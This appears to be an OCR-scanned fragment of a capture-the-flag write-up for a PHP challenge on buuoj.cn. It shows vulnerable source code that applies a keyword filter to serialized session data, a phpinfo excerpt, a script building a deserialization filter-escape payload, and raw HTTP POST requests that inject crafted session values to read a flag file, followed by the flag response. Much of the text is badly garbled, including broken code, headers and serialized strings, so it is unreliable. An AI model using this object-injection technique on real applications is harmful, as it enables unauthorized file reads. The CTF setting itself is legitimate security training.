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<?php
$function = @$_GET['f'];

function filter($img){
$filter_arr = array('php', 'flag', 'php5', 'phpd’, 'flig');
$filter = '/'.implode('|',$filter_arr).'/i';
return preg_replace($filter,"'',$img);

if($_SESSION){
unset($_SESSION);

$_SESSION["user"] = 'guest';
$_SESSION[ 'function'] = $function;

extract($_POST);

if(!$function)q{
echo '<a href="index.php?f=highlight file">source_code</a>"';

if(!$_GET['img_path']){
$ SESSION['img']

}else{
$_SESSION['img']

base64_encode( 'guest_img.png');

shal(base64_encode($_GET['img_path']));

$serialize_info = filter(serialize($_SESSION));

if($function == 'highlight_file'){

highlight_file('index.php");
}else if($function == 'phpinfo’){

eval('phpinfo();'); //maybe you can find something in here!
}else if($function == 'show_image'){

$userinfo = unserialize($serialize_info);

echo file_get contents(base64_decode($userinfo[ 'img']));
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| PHP Version | 7.033 |
allow_url_fopen On On
allow_url_include Off Off
arg_separatorinput & &
arg_separatoroutput & &
auto_append_file d0g3_flag.php d0g3_flag.php
auto_globals_jit On On
auto_prepend file no value no value
bmap‘ o value no value C,;r“l @Jl_
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<?php

/*$_SESSION[ "img']="ZDBnM19mMWFnLnBocA==";
var_dump($_SESSION);
$a=serialize($_SESSION);

echo '<br>';

var_dump($a);

echo '<br>';*/

$_SESSION[ 'user']="phpphpphpphpphpphpflag";
$_SESSION[ 'function']=';s:2:"aa";s:3:"123";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";1}";
$ SESSION['img']='12311111";
var_dump($_SESSION);
$b=serialize($_SESSION);
$b=preg_replace('/flag|php/',"'"',$b);

echo '<br>';

var_dump($b);

$b=unserialize($b);

echo '<br>';

var_dump($b);

a:3:{s:4:" g2 e aa"s3 "3

"s:20:" "3 img s 8:" 12311111
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POST findex. php?=show_image HTTR/1 .1 : HTTR/.1 200 QK

Host: e103d256-5931-40d0-a7 ch-ed70BE6159f0. noded. buuoj.cn:81 Server: openresty

User-Agent: Mozilla/S.0 (Windows NT 10.0; Wing4; xB64; n83.0) Gecko/20100101 Firefox/93.0 Date: Thu, 11 Moy 2021 07:25:36 GMT

Accept: text/html application/xhtml+xml application/xml;g=0.9 imagefavif image/webp *™ q=0.8 Content-Type: text/html; charset=UTF-8

Accept-Language: zh-CN,zh;q=0.8,zh-TW,;q=0.7 ,zh-HK; q=0.5 en-US;q=0.3 en;q=0.2 Content-Length: 45

Accept-Encoding: gzip, deflate Connection: close

Content-Type: application/x-www-form-urlencoded

Content-Length: 118 <?php

Origin: http://e103d256-5931-40c0-a7 ch-ed7 06661590 noded. buuoj.cn:81

Connection: close Fflag = flag in fd0g3_fllllllag’,

Referer: http://e103d256-5931-40d0-a7 ch-ed70E66159f0. noded. buuoj.cn:81/index. php?f=show_image

Cookie: UM_distinctid=17 69115041 c6-094 c5feh5d5f-403e2679-11ad00- 17 cB6I1fd505723 ?=

Upgrade-Insecure-Requests: 1

_SESSION[userl=phpphpphpphpphpphpflagé_SESSICN[function]=;s:2:"aa";s:3:"123", 5:3. "img"; 5:20:

"ZDBnMTSmMWEnLnBocA==",} .
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POST findex.php?=show_image HTTP/1.1

Host: e103d256-5931-40d0-a7 ch-ed70666153f0. noded. buuoj. cn:81

User-Agent: Mozilla/5.0 (Windows NT 10.0; WinB4, x64; nv93.0) Gecko/20100101 Firefox/83.0
Accept: text/html application/xhtml+xml application/xml; g=0.9 image/avif image/webp *f*q=0.8
Accept-Language: zh-CN zh;q=0.8,zh-TW,q=0.7 zh-HI;q=0.5 en-US;¢q=0.3 en;q=0.2
Accept-Encoding: gzip, deflate

Content-Type: application/x-www-form-urlencoded

Content-Length: 118

Crigin: http: /fe103d256-5931-40d0-a7 ch-ed7 0666 159f0. noded. buucj.cn:81

Connection: close

Referer: http:/fe103d256-5931-40d0-a7 ch-ed7 06661590 noded . buuoj.cn:81/index. php?f=show_image
Cookie: UM_distinctid=17c691fd5041 c6-094c5feb5d513-4238267 9-1fad00-17 cE91fd505723
Upgrade-Insecure-Requests: 1

_SESSION[userl=phpphpphpphpphpphpflagé_SESSION[function]=;s:2:"aa" 5:3:"123" 5:3:"img"; 5:20:

"L20wZzMNfZmxshGrshGFn"}
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HTTR/.1 200 OK

Server: openresty

Date: Thu, 11 Moy 2021 07:30:02 GMT
Content-Type: text/html; charset=UTF-8
Content-Length: 43

Connection: close

flag{0d840d78-ha57 4a84-acal-fh45efd cfdar}
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